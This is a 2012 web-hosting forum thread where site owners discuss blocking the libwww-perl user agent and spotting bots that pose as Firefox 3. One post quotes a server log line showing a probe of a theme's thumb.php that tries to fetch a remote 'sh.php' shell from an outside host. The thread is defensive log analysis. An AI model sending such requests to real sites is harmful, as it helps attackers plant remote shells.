homepage Welcome to WebmasterWorld Guest from 54.161.246.212
register, free tools, login, search, pro membership, help, library, announcements, recent posts, open posts,
Become a Pro Member
Home / Forums Index / WebmasterWorld / Website Analytics - Tracking and Logging
Forum Library, Charter, Moderators: Receptional & mademetop

Website Analytics - Tracking and Logging Forum

    
Is it safe to block libwww-perl
Block useragent libwww-perl
castor_t



 
Msg#: 4453700 posted 12:16 pm on May 15, 2012 (gmt 0)

I see that I am getting requests with useragent: libwww-perl

Is it safe to block requests with useragent libwww-perl?

 

castor_t



 
Msg#: 4453700 posted 12:24 pm on May 15, 2012 (gmt 0)

Also, can I block?

69.25.173.35 - - [12/May/2012:01:11:48 -0500] "GET /Sports//wp-content/themes/irresistible/irresistible/thumb.php?src=http://picasa.com.welitonmaia.com.br/sh.php HTTP/1.1" 404 7428 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"

If yes, any idea what the user agent is?

motorhaven

10+ Year Member



 
Msg#: 4453700 posted 4:56 pm on May 15, 2012 (gmt 0)

Not only is it safe I think its pretty much a given to block it. Unless you're using the tool yourself its pretty much a guarantee its a spam bot, scraper, content thief, hacker, etc.

lucy24

WebmasterWorld Senior Member lucy24 us a WebmasterWorld Top Contributor of All Time Top Contributors Of The Month



 
Msg#: 4453700 posted 8:40 pm on May 15, 2012 (gmt 0)

Ooh, it's the "thumb.php" robot. I've met them. Technically you don't need to block them at all, since they're already getting a 404. But a 403 is more satisfying.

In most circumstances, Firefox 3.anything is a robot. But be careful, because there are exceptions. (I'm one of them myself.) Firefox 3 + Windows is probably a safe lockout.

motorhaven

10+ Year Member



 
Msg#: 4453700 posted 9:27 pm on May 15, 2012 (gmt 0)

X2 about Firefox. I have a set of rules to determine if Firefox 3.x is real. I get a few real Firefox 3 users daily - it seems many didn't like the subsequence versions and 3.x has been maintained up until recently. But I have many many more fake Firefox 3 user agents than real, especially 3.5.6.

Rather than go into detail explaining how to catch the fake versions (since spammers read these forums too) I suggest you take an in-depth look at Firefox's documentation as the information is in there for those willing to dig. :)

enigma1

WebmasterWorld Senior Member 5+ Year Member



 
Msg#: 4453700 posted 12:36 pm on May 16, 2012 (gmt 0)

Rather than go into detail explaining how to catch the fake versions (since spammers read these forums too) I suggest you take an in-depth look at Firefox's documentation as the information is in there for those willing to dig. :)

Why you think attackers won't simply copy the UA and headers a particular browser sends and implemented into the rogue bot sending requests?

motorhaven

10+ Year Member



 
Msg#: 4453700 posted 1:57 pm on May 16, 2012 (gmt 0)

Many of them don't do more than simply copy the UA. Also sometimes the underlying tool they use don't allow them to manipulate all the headers, just some. After whitelisting, close examination of headers and header order catches a great many of them.

Global Options:
 top home search open messages active posts  
 

Home / Forums Index / WebmasterWorld / Website Analytics - Tracking and Logging
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Home ¦ Free Tools ¦ Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About ¦ Library ¦ Newsletter
WebmasterWorld is a Developer Shed Community owned by Jim Boykin.
© Webmaster World 1996-2014 all rights reserved